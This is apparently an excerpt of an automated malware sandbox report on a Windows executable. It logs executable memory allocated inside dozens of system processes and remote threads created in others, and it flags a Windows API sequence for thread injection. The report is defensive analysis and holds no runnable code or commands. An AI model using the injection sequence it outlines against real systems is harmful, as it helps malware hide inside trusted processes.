Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 950000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: 870000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\explorer.exe base: B7B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 360000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: AB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 6A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 1E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: B00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: A00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: 910000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: FF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 220000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: A20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: B20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 610000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 5F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\backgroundTaskHost.exe base: C40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: C60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: B90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dllhost.exe base: D50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: BE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: FD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: FA0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: 220000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dwm.exe base: 6F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\sihost.exe base: DB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 480000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 960000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: 880000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\explorer.exe base: DD50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 370000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: AC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 6B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 1F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: B10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: A10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: 920000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 1000000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 230000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: A30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: B30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 620000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 600000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\backgroundTaskHost.exe base: C50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: C70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: BA0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dllhost.exe base: D60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: BF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: FE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: FB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: 230000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dwm.exe base: 700000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\sihost.exe base: DC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 490000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 970000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: 890000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\explorer.exe base: DD60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 380000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: AD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 6C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 200000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: B20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: A20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: 930000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 1010000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 240000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: A40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: B40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 630000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\conhost.exe base: 610000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\backgroundTaskHost.exe base: C60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: C80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: BB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dllhost.exe base: D70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: C00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: FF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: FC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: 240000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\dwm.exe base: 710000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\sihost.exe base: DD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 4A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\svchost.exe base: 980000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: 8A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory allocated: C:\Windows\explorer.exe base: DD70000 protect: page execute and read and write Jump to behavior
Contains functionality to inject threads in other processes
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0242CC92 OpenProcess,GetLastError,GetVersionExA,GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,OpenProcess,AdjustTokenPrivileges,FindCloseChangeNotification,OpenProcessToken,GetTokenInformation,GetLastError,GetProcessHeap,RtlAllocateHeap,GetTokenInformation,LookupAccountSidA,lstrcmpiA,lstrcmpiA,lstrcmpiA,CreateMutexA,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,VirtualAllocEx,lstrlen,WriteProcessMemory,CreateRemoteThread,FindCloseChangeNotification,CloseHandle,GetProcessHeap,HeapFree, 6_2_0242CC92
Creates a thread in another existing process (thread injection)
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: C:\Windows\SysWOW64\cscript.exe EIP: 4980000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: C:\Windows\SysWOW64\cscript.exe EIP: 49E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 6B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 6C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2E80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2ED0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 23C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2410000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 27F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2940000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2350000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 26A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2670000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2790000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2550000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 25A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2F80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 30D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 670000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 6C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: C30000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: C40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 1270000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2D70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2080000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 20D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 1080000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 1090000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 23D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 24F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2720000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2770000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 570000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 580000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2840000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2890000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 9E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 9F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2CA0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2CF0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 1080000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 1090000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2D20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2D70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2990000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 29E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 26B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2700000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2FB0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2FC0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 1400000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Thread created: unknown EIP: 2DF0000 Jump to behavior
